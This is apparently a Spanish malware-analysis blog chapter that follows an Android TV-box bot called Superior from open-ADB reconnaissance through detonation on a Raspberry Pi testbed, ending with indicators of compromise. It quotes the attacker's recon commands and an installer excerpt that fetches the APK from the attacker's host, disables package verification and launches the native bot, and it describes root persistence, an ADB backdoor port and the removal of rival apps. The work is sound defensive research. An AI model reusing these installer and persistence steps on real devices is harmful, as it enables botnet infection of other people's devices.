Superior · Capítulo 35
Desinstalado, y sigue ahí
Un instalador con prisa mete en una caja de TV una app que dice ser una actualización de Google. Dentro va un bot que, si consigue root, se instala en el sistema, borra Prime Video y deja Netflix, y trae una cara para pintarla en la pantalla. Y cuando el dueño lo desinstala, se queda.
El 5 de noviembre, una dirección llama a la puerta de ADB del cebo. ADB es la puerta de depuración de Android, la que tantas cajas de TV baratas dejan abierta a Internet, y no tiene contraseña que probar: abierta, es una consola. Pero no entra a hacer nada. Hace cinco preguntas y se va:
echo hello
./
cat /proc/self/cgroup 2>/dev/null | head -1 # ¿estoy dentro de un contenedor?
getprop ro.build.version.sdk 2>/dev/null # ¿qué Android es?
cat /system/build.prop 2>/dev/null | grep ro.build.version.sdk # y otra vez, por si la anterior mintióLa tercera es la que delata la intención: mira a qué grupo de control pertenece su propio proceso, que es una forma rápida de saber si estás en un contenedor o en una máquina de verdad. No era la primera vez que esa secuencia llamaba a la puerta: llegaba desde el 19 de octubre, desde otras direcciones. Primero miran. Luego vuelven.
Volvieron, y trajeron cosas. Dos muestras en dos días y, el mismo día de la segunda, un instalador nuevo. Lo que traen se presenta como «Google Play Services Update». Por dentro lleva un bot que se llama a sí mismo superior, y así lo llamaré: Superior. En una tele de verdad hace bastante más de lo que su nombre promete.
Superior bot para cajas de TV Android, sin descripción pública
- sha256 (APK)
- 8ca42478…d4d70
- Paquete
- com.android.logcatd · «Google Play Services Update» v1.9
- Dentro
- una capa Java y un bot nativo en C, empaquetado con UPX, para tres arquitecturas
- Tamaño
- 708.459 B (el nativo arm64, desempaquetado, 540 KB)
- Quién es
- se llama a sí mismo superior-v21 · capítulo 36
- Los antivirus
- «trojan.mirai»: el cajón genérico para cualquier bot de IoT, no su familia
01La primera muestra
El 9 de noviembre llega otra dirección, 67.213.122.211, y en tres minutos abre veintinueve sesiones. Trae dos tandas de órdenes y las repite. La primera instala la app: baja superior.apk de 77.239.124.167, la instala (si falla, lo intenta de otras tres maneras, una de ellas pasándole el fichero por la entrada estándar), la mete en la lista blanca de la batería, arranca su servicio principal con una etiqueta, ipv4apk, y contesta RBX_OK o RBX_NO según le vaya.
La segunda va por otro lado. Pregunta la arquitectura del aparato y el tamaño de un fichero suelto, /data/local/tmp/.m, que también empuja: es el bot nativo en crudo para procesadores ARM de 32 bits, idéntico byte a byte al que la app lleva dentro para esa arquitectura. Lo lanza directamente, con la misma etiqueta, y contesta RBX_NODE. La app y el bot, cada uno por su camino.
El APK de ese día es la versión 1.8. Lo guardé y esperé.
02La segunda, con prisa
Al día siguiente vuelve la dirección del reconocimiento, 195.178.110.78, con un guion que se presenta a sí mismo en su primera línea de comentario: bigrola installer. Lo lanza antes de haber subido el APK. Cuarenta y seis segundos después empuja por ADB un APK de 708.459 bytes y vuelve a lanzar el guion, igual que antes, ahora con el fichero en su sitio.
El guion es corto. Lleva algún comentario en inglés, y uno explica justo ese plan B por si el APK no está:
P=com.android.logcatd
T=piharnessapk
H=77.239.124.167
# Devices on starved uplinks cannot take a 700 KB push, so fetch the APK here.
curl -fsSL -o "$A" "hxxp://$H/superior.apk" || toybox wget … || busybox wget …
pm install -r -g "$A" # instala e intenta conceder los permisos declarados
am start-foreground-service -n "$P/.BoxControl"
am broadcast -a android.intent.action.BOOT_COMPLETED … # que crea que la tele acaba de arrancar
cmd deviceidle whitelist +"$P" # que el ahorro de batería no lo duerma
settings put global package_verifier_enable 0 # y que nadie revise lo que se instala
# run the packaged native bot with the operator tag
setsid "$F" "$T" &Instala la app, la arranca por cinco caminos distintos, apaga la verificación de paquetes de Android y, al final, saca del APK una «biblioteca» llamada libmeowbox01.so que no es una biblioteca: es un ejecutable. Lo lanza suelto, separado de la consola, con la etiqueta como único argumento. Si todo va bien, contesta RBX_INSTALL_OK. Por el camino no comprueba casi nada: dispara cada paso y solo al final mira si el paquete quedó instalado.
Puse las dos muestras una al lado de la otra:
9-nov · v1.8 10-nov · v1.9
cómo llega la baja el guion la empuja por ADB (y la baja si falta)
etiqueta ipv4apk piharnessapk
los tres nativos idénticos, byte a byte
cambia la app, el manifiesto y la firma del paquete
certificado el mismo, creado el 8 de noviembreEl bot no cambia de un día para otro: cambia el envoltorio. La 1.9 añade dentro de la app las dos etiquetas como constantes, y en su código hay seis de ese estilo: ipv4apk, piharnessapk, ipv4up, ipv6apktank, ipv6apksmallertank e ipv6tankv2. Solo he visto llegar dos. Parecen marcar por qué puerta entra cada caja, aunque la etiqueta no dura: una vez instalado en el sistema, su supervisor lo relanza sin ella. Y hay una versión anterior, la 1.6, que VirusTotal vio el 8 de noviembre con el mismo certificado: tres versiones en dos días.
Ese certificado es el otro detalle que me gusta. Es una clave de depuración, la que genera por defecto el entorno de desarrollo de Android, y nació el 8 de noviembre. VirusTotal vio la 1.6 menos de cinco horas después. Cuando la primera muestra llegó al cebo, ese certificado no tenía ni un día.
La etiqueta de la segunda, por cierto, es piharnessapk. Suena a «arnés para una Pi». No sé qué significa para él; sé que yo acabé enganchando el bicho a una.
03Dos capas
Lo que se instala tiene dos pisos, y los separo porque luego se comportan de forma muy distinta.
Arriba está la capa Java, la app que se ve. Su nombre de paquete, com.android.logcatd, imita el de un servicio real de Android, el que guarda los registros del sistema, que esta misma tele trae de fábrica. Y es un kit de autodefensa:
accesibilidad «Google Play Services Core»: si alguien pulsa «Force stop»,
«Uninstall» o «Disable», pulsa «Cancel» por él o vuelve a inicio
Locker recorre los procesos y mata los que instalan o desinstalan
otras apps (los suyos no los toca)
administrador se declara administrador del dispositivo, con permiso para
bloquearlo y para borrarlo; nunca usa ninguno de los dos
quiosco intenta fijar en pantalla el instalador, los servicios de Google
y otras apps; solo funcionaría si fuera dueña del aparato
en la tele con root, desactiva las actualizaciones de Google y el instalador
batería se mete en la lista blanca y pide excepciones según el fabricante
(Xiaomi, Huawei, Samsung, Oppo, Vivo, OnePlus)
arranque diez eventos distintos del sistema, una cuenta falsa,
un lector de notificaciones y alarmas que la despiertan
pantalla ScarewareActivity, que veremosLo que no hace la capa Java es tocar la red ni robar nada. Para eso está el piso de abajo.
Abajo está el nativo, Superior. Es un binario en C, estático, empaquetado con UPX, para arm64, ARMv7 y ARM antiguo. Llama a su servidor de mando y control, cataloga ficheros, se propaga por Telnet, mata a la competencia, tiene 37 entradas en su catálogo de ataques de denegación de servicio y, si tiene permisos de root, se instala en el sistema. Lo que hay dentro, con detalle, es el capítulo siguiente. Hoy toca verlo trabajar.
04Una tele de verdad
El primer intento fue en un emulador de Android, y fracasó de una forma instructiva. El emulador corre en un procesador de PC y traduce al vuelo el código ARM, y el bot ni siquiera llegaba a arrancar. Tardé en ver que no era una defensa suya: el traductor se negaba a cargar el binario empaquetado, porque UPX le deja sin la tabla de secciones que el traductor exige. Una caja ARM de verdad no la mira. Desempaquetado sí arrancaba, pero se quedaba girando en un bucle, mudo, sin tocar la red.
En una máquina virtual ARM64 completa, sin traductor, el bot corrió por fin y llamó a casa. Pero ahí era Linux, no Android: sin capa Java, sin pantallas, sin apps que borrar. Para ver lo que le hace a una tele hacía falta una tele.
Así que monté una. Una Raspberry Pi 4 con Android TV (Android 16), procesador ARM de 64 bits sin traducción, y una pantalla de siete pulgadas haciendo de televisor. Conectada por cable a mi máquina, que le da red y desvía todo lo que intenta salir hacia un servidor que solo escucha. Le dejé instaladas cinco apps vacías: cuatro con nombres sacados de las listas del bot (la de Kimwolf, una de proxyware, Prime Video y Netflix) y una de terceros cualquiera. Y la infecté con el guion del atacante, tal cual, por ADB.
Una advertencia sobre el banco, porque condiciona lo que viene. Esta compilación de Android es de desarrollo: SELinux en modo permisivo, depuración activada, root disponible por ADB y sin la función de administrador de dispositivo declarada. Casi todo lo que hizo el bot, SELinux lo apuntó como denegado y lo dejó pasar. En una tele con SELinux estricto, parte de lo que sigue podría fallar. Eso no lo he probado.
05Muere al nacer, a veces
El guion entró, como entraría por el ADB de una caja cualquiera, con el usuario de la consola de Android, sin permisos de root. Terminó con su RBX_INSTALL_OK, aunque Android 16 le paró varios trucos: le denegó el falso aviso de «la tele acaba de arrancar», bloqueó la ventana de la excepción de batería, y no reconoció una de sus órdenes para habilitar la app (otra de la línea anterior ya lo había hecho). El nativo que lanzó, en cambio, murió en el mismo segundo:
init: Untracked process … libmeowbox01.so … received SIGILLInstrucción ilegal. Murió justo cuando yo reiniciaba ADB para seguir trabajando como root; esa señal no la manda ADB, así que lo más probable es que coincidiera, pero lo dejo apuntado. Un segundo después, la capa Java copió el nativo a su propia carpeta y lo lanzó dos veces más. Un minuto más tarde no quedaba ninguno vivo.
Así que lo lancé yo, como root. Y aquí tengo que ser claro: en esta tele, todo lo que viene después pasó porque le di yo los permisos de root. El guion del atacante no los tenía. En una caja cuyo ADB ya entre como root, el guion los tendría de serie; en la mía, no.
Como root, el mismo binario funcionó. Y un fichero que unas veces es un programa y otras una instrucción ilegal no es normal, así que preparé treinta lanzamientos del mismo binario, con ocho segundos de margen cada uno:
4 × SIGSEGV # acceso a memoria inválido
1 × SIGILL # instrucción ilegal
5 × SIGKILL # muertos por otro proceso (probablemente la copia que ya corría)
# entre 9 y 328 milisegundos de vidaEn el décimo, la caja se reinició sola, y ahí corté. El código de salida solo dice cómo acabó el proceso que lancé, no lo que hubiera dejado en marcha antes de morir; pero dos formas distintas de reventar el mismo fichero ya dicen bastante.
La explicación más probable está en el desempaquetador, el trocito de código que UPX pone delante para descomprimir el programa en memoria. Después de escribir el código descomprimido, tiene que avisar al procesador de que lo que hay en su caché de instrucciones ya no vale. ARM exige para eso una secuencia concreta, con barreras que obligan a esperar a que cada paso termine. En todo el desempaquetador no hay ni una barrera, y además da por hecho el tamaño de la línea de caché en vez de preguntárselo al procesador. El procesador puede ejecutar instrucciones viejas o a medio escribir, y según cómo caigan, el programa revienta de una manera, de otra, o funciona.
Captura: el desempaquetador, en GhidraGhidra
Encaja con lo que vi: en la máquina virtual, cuyo emulador no simula cachés, nunca falló; en la Pi, un procesador que ejecuta fuera de orden, falla a ratos. En las cajas baratas, con núcleos más sencillos, quizá menos; eso no lo he probado. Al operador no parece importarle: su supervisor lo reintenta cada cuatro segundos, y alguna de las veces sale bien.
06Veinte segundos como root
Cuando arranca bien, con permisos de root, no pierde el tiempo. En unos veinte segundos:
red llama a coolcams.duckdns.org (TLS al 443 y TCP al 29444)
y suelta más de cuatrocientas conexiones Telnet a direcciones al azar
ADB mata adbd y lo vuelve a levantar en el puerto 12108
/system lo remonta en escritura y deja /system/etc/init/media_svc.rc
# un servicio que arranca cuando arranca ADB o al conectar un USB
# marcado «# superior-persist begin … end»
/data /data/local/tmp/.srvc # el supervisor: lo relanza cada 4 s
.sys .kworker .service .audiosrv .mediasrv # cinco copias de sí mismo
/data/adb/service.d/adbd_tcp.sh # al estilo Magisk: ADB en el 12108
y después la caja se reiniciaEl ADB del 12108 es una puerta trasera de propina: el puerto habitual, el 5555, deja de servir, y quien sepa del otro sigue entrando. Una propiedad persistente de Android lo deja así en cada arranque.
Por qué se reinició la caja, no lo sé seguro. El bot toca el perro guardián del chip, un temporizador que reinicia la placa si nadie lo alimenta a tiempo, y lo alimenta cada tres segundos. Antes de los dos reinicios que tuvo la Pi, el bot se quedó callado unos dieciséis segundos. Y el segundo llegó diecisiete segundos después de que una copia nueva anunciara que acababa de adoptar ese perro guardián. Si la copia que lo alimenta se calla, el chip reinicia la placa. Es la explicación que mejor encaja con los datos; no la he cerrado.
Lo que sí es seguro es que sobrevive al reinicio. Al volver, Android lee su media_svc.rc como si fuera un servicio del sistema y lo arranca como root. El bot se copia a memoria y se ejecuta desde esa copia. Catorce procesos. El principal va cambiando de nombre sin salir de una lista de ocho que lleva para Android: tras el primer reinicio era jbd2/mmcblk0-8, más tarde ksoftirqd/0, y en el segundo arranque irq/38-mmc0. Alguno coincide exactamente con un hilo real de esta Pi (ksoftirqd/0); otros se le parecen sin coincidir (los de verdad son irq/43-mmc0 y jbd2/mmcblk0p7-8). Lo que lo delata no es el nombre: es que su padre no es el núcleo y que corre desde memoria. Y el disfraz tiene costuras: en un listado de procesos normal se ven sh /data/local/tmp/.srvc tal cual y seis procesos llamados .sys. Además escucha en el 42428, en el 18348 de la propia máquina y en el UDP 8346.
Lo que dejó en disco cuadra con lo que el estático había leído en su código antes de encender nada:
copias en rutas locales sí cinco, en /data/local/tmp
supervisor .srvc sí
media_svc.rc en el init del sistema sí solo en /system (no en vendor ni en odm)
guion y módulo de Magisk no no hay Magisk
init.d/01media no no existe init.d
install-recovery.sh sí lo crea, con una línea que lanza el supervisor
copia en almacenamiento compartido sí un ejecutable en /sdcard/Android/data/.update
ADB fijo en el 12108 sí
perro guardián sí lo abre y lo alimentaEl estático dejaba una cosa pendiente: si todo eso aguantaba un reinicio. En la tele, aguantó.
Y cierra la puerta por detrás. Cada pocos segundos mata adb_root, el servicio que permite pedir permisos de root por ADB, en cuanto Android lo vuelve a levantar. Desde ese momento, nadie más puede hacerse root en esa caja por la vía normal. Yo incluido: tras un reinicio tuve que colarme a la carrera, en cuanto ADB volvía, antes de que lo matara otra vez.
Hasta en el registro de Android deja su firma: un banner de colores que anuncia «S Y S T E M U P D A T E», «device is up to date». Quien lo lea creerá que es una actualización.
07Lo que le cuenta a su dueño
Desde que tuvo salida, el bot no paró de hablar. A su servidor de mando lo buscó solo a ratos, al arrancar; casi todo lo demás lo mandó a una dirección fija, 77.239.124.167:5821, la misma máquina que reparte la app y a la que hoy apunta también el nombre de su servidor de mando. En la jaula, todo eso lo recogía mi servidor de escucha: no salió de ahí. Cada mensaje, en texto plano y por su propia conexión TCP: 16.398 en once minutos, más de 36.000 en los veintisiete minutos que tuvo salida.
[CATALOG] todos los ejecutables del sistema, en vueltas de medio minuto (33.554 envíos)
[KILL] cada proceso que dice matar (1.685)
[SH] el principio de cada guion .sh que encuentra en disco (865)
[APK] las apps que intenta borrar, y los APK que encuentra (91)
[SERIAL] número de serie y modelo: «Raspberry Pi 4 Model B Rev 1.5» (24)
[PKGBOOK] la lista de apps instaladas (16)
[SYSINFO] [BOOT] [ROOT] [OPT] [WATCHDOG] [ARCH] estado de la máquina y del bot
[BOOK] ficheros que le interesan por extensión (4)
[CLEAN] su limpieza (2)El [BOOK] es el catálogo de lo que robaría si se lo pidieran: claves, certificados, bases de datos, configuraciones. En esta tele solo encontró ficheros del sistema. El [CLEAN] dice files=0|procs=0|rivals=0: una limpieza que no encuentra nada que limpiar. Y entre los guiones que mandó en [SH] estaba «bigrola», pero ese lo había dejado yo en disco para lanzarlo; el atacante lo manda como orden, sin fichero.
El [KILL] merece una parada. El killer congela al proceso antes de matarlo, y lo mata unas decenas de milisegundos después. Puntúa a quién: en uno de sus informes se lee score=45 why=deleted-image(+25)_·_memfd(+20)_, y el proceso al que apuntó corría desde memoria con el nombre de kworker/54, que es su mismo disfraz. Pudo ser una copia suya. Y de los 1.685 avisos, 1.376 dicen que ha matado hwservicemanager, un servicio del sistema que seguía vivo cuando lo comprobé. El informe dice que lo mata, y el proceso sigue ahí.
Hay una pieza más, que en la tele también se monta: un vigía en el UDP 8346 escrito para avisarse con otros bots cuya lista le da el servidor (aunque, según el estático y un ensayo en jaula, esa lista no llega nunca al vigía). Sin servidor de mando con el que hablar, el vigía decreta un «modo oscuro» de diez minutos y lo va renovando: en ese modo se cortan los ataques. La propagación por Telnet, en cambio, siguió a lo suyo.
08La cara
La pantalla de miedo no se abrió sola en ningún momento. El bot tiene tres caminos para abrirla: una orden de su red entre bots, otra de su consola, que vienen apagadas en esta versión, y una variable al arrancar que ninguno de los instaladores que he visto pone. Lo que sí tiene la pantalla es que está exportada: cualquiera con acceso a la caja la abre con una sola orden. Así la abrí yo. Esto es lo que aparece en el televisor: una careta blanca con mejillas rojas, bigote y perilla, un borde rojo que parpadea y estos textos:
你已被监控 estás siendo vigilado
我们无处不在 estamos en todas partes
监控时长 tiempo de vigilancia
WE ARE WATCHING YOU - THERE IS NO ESCAPEPor detrás llueven caracteres chinos enormes, en verde y en rojo. Parecen un mensaje y no lo son: es la lista de los caracteres más frecuentes del chino, en orden de frecuencia (的, 一, 是, 了, 我…), sacados al azar. Relleno con aspecto de amenaza. Y el idioma no dice nada de quién lo escribió: es atrezo.
El contador es lo mejor. Empieza en 14:59 y baja, pero no en segundos: avanza un paso cada 120 milisegundos y llega a cero en menos de dos minutos. Y cuando llega a cero, sigue.

Pasa a 00:-20, a -1:-10, y así indefinidamente. En el código no hay nada que hacer cuando llega a cero: ni bloqueo, ni borrado, ni nada. Es una cuenta atrás hacia ningún sitio. La pantalla tampoco bloquea la tele: mantiene la pantalla encendida y se muestra por encima del bloqueo, pero no captura las teclas. Se cierra con un solo «Atrás». Y no vuelve a abrirse sola.
09Netflix se salva
Unos minutos después del reinicio, en algo menos de tres segundos, el bot fue a por mis apps de mentira. Por este orden:
io.earnify # proxyware: alquila tu conexión a terceros borrada
com.amazon.amazonvideo.livingroom # Prime Video borrada
com.n2.systemservice06 # Kimwolf borrada
com.android.rkpdapp # una app del sistema detenida a la fuerza
com.ejemplo.reproductor # una app de terceros cualquiera borrada
com.netflix.mediaclient # Netflix ni lo intentaSon las dos pasadas que se leen en el binario, y en ese orden. La primera tira de una lista negra de 114 patrones: bots rivales, aplicaciones de proxyware, VPN, lanzadores de TV y veintiuna apps legítimas, entre ellas Prime Video, HBO Max, Apple TV, Crunchyroll, ESPN, NBA, Pluto TV, Globo, Shahid, VK y hasta el teclado Gboard. La segunda es más bruta: todas las apps de terceros que haya instaladas, salvo veintinueve excepciones; ahí cae el reproductor cualquiera. Entre las excepciones están los servicios de Google, Chrome, la tienda, WhatsApp, Instagram, Facebook, Messenger, TikTok, Telegram, Spotify, las apps de los fabricantes… y Netflix.
Por qué Netflix sí y Prime Video no, no lo sé. El código no lo explica.
Y la cuarta línea es un efecto que su autor seguramente no previó. En la lista negra hay un patrón, com.android.rk, que compara por el principio del nombre. Con él quería, probablemente, algo de Rockchip, un fabricante de chips para cajas baratas. Pero en esta tele choca con com.android.rkpdapp, una app del propio sistema que gestiona claves criptográficas. No la puede borrar, porque es del sistema. Pero cada intento la detiene a la fuerza, y lo repite sin parar (con la tele conectada a la red, cada medio minuto), y en cada intento le manda a su dueño un uninstall pkg=com.android.rkpdapp.
En la lista de lo que borra, por cierto, está Kimwolf. Y el nombre del paquete con el que se instala este bot es uno que Kimwolf ya usó. Eso tiene su historia, y es el capítulo siguiente.
10Lo he quitado
Quedaba hacer de víctima: ver una app rara en la tele y quitarla. En los Ajustes aparece sin trucos, «Google Play Services Update», 1,28 MB, versión 1.9. Le di a desinstalar y se fue sin un solo estorbo. Y el bot siguió ahí: los catorce procesos como root, el media_svc.rc en /system, el ADB en el 12108. Quitar la app solo quita la capa Java, la que se ve. La víctima cree que ha terminado; el bot ni se entera.
Captura: la app, en los Ajustes de la telepantalla
Luego se lo puse más difícil: reinstalé la app como lo hace el guion y le concedí la accesibilidad. Ahora el diálogo de desinstalar se cerraba solo a los pocos segundos de abrirse. No era la app, era el nativo: como root, mata el instalador de paquetes en cuanto aparece y lo apunta en su informe ([KILL] name=app_process64). La accesibilidad no hizo nada, ni siquiera con la tele en inglés y la capa Java viva. En sus cadenas solo entiende botones en inglés o en chino, y no conoce los Ajustes de Android TV. Es una autodefensa escrita para teléfonos. Pulsando Aceptar deprisa, en poco más de un segundo, gané la carrera.
Pero lo único que se lleva la víctima es la capa de arriba: el bot sigue en /system, y en el próximo arranque vuelve a estar ahí.
11Once horas después
Ese mismo día, once horas después de «bigrola», la dirección del reconocimiento volvió por tercera vez, con un instalador nuevo. Empujó el mismo APK, byte a byte, al mismo sitio que por la mañana, /data/local/tmp/.a.apk. Lo que cambiaba era el guion:
el APK si no lo encuentra, lo baja él: hasta cinco intentos, y en cada uno
TCP en bruto al puerto 30121 y, si falla, HTTP
cada paso ya no se dispara a ciegas: prueba variantes hasta que la respuesta
dice lo esperado («Success», «enabled», «Starting»)
habilitar ocho maneras de habilitar la app
administrador intenta activarlo (dpm set-active-admin), con cuatro variantes
verificación además de apagarla, quita el aviso al usuario y la subida de APK
al terminar borra el guion y todos los .sh de /data/local/tmp y /sdcardPrueba más formas de cada cosa y comprueba lo que contesta Android. Pero no lo arregla todo, y estrena un desajuste: el guion nuevo ya no busca el APK en .a.apk, sino en /data/local/tmp/superior.apk. Lo empuja a un sitio y el guion mira en otro, así que, en una caja limpia, no lo encontraría y se pondría a bajarlo por su cuenta. Entre sus ocho maneras de habilitar la app sigue, además, la orden que Android 16 no tiene. Y la muestra es la misma, con el mismo desempaquetador sin barreras y la misma autodefensa que no sabe dónde están los Ajustes de una tele. De lo que le había fallado en mi tele, lo único que cambia con efecto posible es lo del administrador, y solo si la activación le sale bien.
Lo del administrador es lo que más me tocó, por la víctima del apartado anterior. En Android, con el administrador de dispositivo activo, la app ya no se desinstala con un botón: primero hay que retirarle ese permiso. En mi tele el bot lo traía declarado, pero nunca llegó a activarlo, y por eso salió con un botón. El instalador nuevo intenta activarlo él mismo. Aquí probablemente tampoco lo habría conseguido: el volcado de la tele, sacado antes de infectarla, dice que esta compilación no declara la función de administrador de dispositivo. En una caja que la declare, si la activación le sale bien, quitar la app deja de ser cuestión de un botón. Eso no lo he podido probar.
Lo de los guiones tiene su gracia. Su instalador del día 9, visto en otras trampas, se bajaba como x.sh justo a esas dos carpetas, y su propio bot manda a casa el principio de cada .sh que encuentra en disco. El nuevo se borra a sí mismo y barre todos los demás.
Y declara una variable que no usa: TARGET2="libsuperior.so". Es el mismo nombre de biblioteca que la capa Java intenta cargar al arrancar, sin encontrarla. Lo más probable, aunque no lo puedo demostrar, es que sea el nombre del próximo nativo.
12Indicadores
Los de este capítulo son los de la infección y los que deja en la caja. Los de dentro del binario y su infraestructura van en el capítulo siguiente.
| Tipo | Valor |
|---|---|
| Origen | 195.178.110.78 (reconocimiento del 5-nov, «bigrola» y el instalador nuevo del 10-nov) · 67.213.122.211 (primera muestra, 9-nov) |
| Reconocimiento | por ADB: echo hello, ./, cat /proc/self/cgroup 2>/dev/null | head -1, getprop ro.build.version.sdk 2>/dev/null, cat /system/build.prop 2>/dev/null | grep ro.build.version.sdk |
| Entrada | ADB abierto (TCP 5555) · guion bigrola installer · marcas RBX_OK, RBX_NO, RBX_NODE, RBX_INSTALL_OK, RBX_INSTALL_FAIL, RBX_NO_APK, EXEC: |
| Descarga del APK | hxxp://77.239.124[.]167/superior.apk · TCP en bruto a 77.239.124.167:30121 (instalador nuevo) · rutas locales /data/local/tmp/.a.apk y /data/local/tmp/superior.apk |
| Instalador nuevo | intenta activar .DeviceAdmin con dpm set-active-admin · package_verifier_user_consent -1, upload_apk_enable 0 · marcas [+] APK size:, RBX_FAIL not-installed · borra *.sh de /data/local/tmp y /sdcard · TARGET2="libsuperior.so" |
| Paquete | com.android.logcatd · «Google Play Services Update» v1.9 · accesibilidad «Google Play Services Core» · proceso system.bin.svc |
| Certificado del APK | clave de depuración (CN=Android Debug), válido desde el 8-nov-2026 · SHA-256 C3:8B:6E:54:E3:3D:D3:1B:32:68:A5:A7:F4:E7:9F:7C:29:46:73:18:E6:42:8B:6E:1C:32:EC:31:9F:31:C3:E8 |
| Nativo | lib/<abi>/libmeowbox01.so (ELF estático, UPX), extraído a /data/local/tmp/.x/ · etiquetas de lanzamiento piharnessapk e ipv4apk · también suelto, como /data/local/tmp/.m (ARMv7) |
| Persistencia Android | /system/etc/init/media_svc.rc (marca # superior-persist) · /system/etc/install-recovery.sh · /data/local/tmp/.srvc e init.sh · copias .sys .kworker .service .audiosrv .mediasrv en /data/local/tmp y /sdcard/Android/data/.update · /data/adb/service.d/adbd_tcp.sh · /data/local/tmp/.adbport · cerrojo /data/local/tmp/.<8 hex> y .pids |
| Puerta trasera | ADB por TCP en el 12108 (persist.adb.tcp.port=12108) · mata adb_root en bucle |
| Procesos | catorce como root desde memoria (/memfd:kworker/N (deleted)) con nombres de hilo del núcleo (jbd2/mmcblk0-8, ksoftirqd/0, irq/38-mmc0, kworker/0:1…) cuyo padre no es el PID 2 · sh /data/local/tmp/.srvc y procesos .sys visibles en un ps · abre y alimenta /dev/watchdog |
| Puertos a la escucha | TCP 42428 · 127.0.0.1:18348 · UDP 8346 |
| Ficheros temporales | /tmp/.bot_lockv7, /tmp/.hydra_dark, /tmp/.superior_tmp/ |
| C2 | coolcams.duckdns.org (TLS al 443 y TCP al 29444) |
| Informes en claro | 77.239.124.167:5821, una conexión TCP por mensaje (unos 16.000 en once minutos): [CATALOG], [KILL], [SH], [APK], [SERIAL], [PKGBOOK], [SYSINFO], [BOOT], [ROOT], [OPT], [WATCHDOG], [ARCH], [BOOK], [CLEAN], [BOXPERSIST] |
| Registro de Android | banner «S Y S T E M U P D A T E … device is up to date · Build 2026.10.31-1543» |
| Pantalla | ScarewareActivity (exportada): «你已被监控», «我们无处不在», «WE ARE WATCHING YOU - THERE IS NO ESCAPE» |
| Efectos | desinstala apps de terceros salvo 29 excepciones · detiene com.android.rkpdapp sin parar (cada medio minuto con red; cada cuatro minutos sin ella) · mata el instalador de paquetes cuando se abre |
| SHA-256 APK | 8ca42478ab70114fafe5cbc33b5526ffae6ee2a9e05494933c6fbca9539d4d70 (v1.9) · b95cb9daffc04e585afb1c7cac94b0a4e2540564b1fc195295dc41af555c78f7 (v1.8) · c8fa8b665244983f022579a142d58faca58cc4b561bbdb059bfb9268a6786e01 (v1.6) |
| SHA-256 nativo arm64 | 0e76fad54099c69360f1ce4279c279cbcde76c4dce014926c7118071cb9228d3 (empaquetado) · 1567f76352c4ff879f4c0d465063ad49741a38d4d6d4bde6a4607a555acd47f6 (desempaquetado) |
| SHA-256 nativo ARMv7 | 796082b8816cd86754c98cae5c8c3e33d8c745af32271700eb049620662e1c18 (el mismo que el .m) |
En una caja que se sospeche infectada, quitar la app no basta. Si el bot llegó a tener root, lo que lo delata está más abajo: un media_svc.rc en /system/etc/init que nadie ha puesto, ADB escuchando en el 12108 y falsos hilos del núcleo cuyo padre no es el PID 2.
Continuará - el paquete que lleva puesto es el de Kimwolf, y una de las apps que borra, también. La tarjeta SD de la Pi sigue infectada, en un cajón. 🍯


Comentarios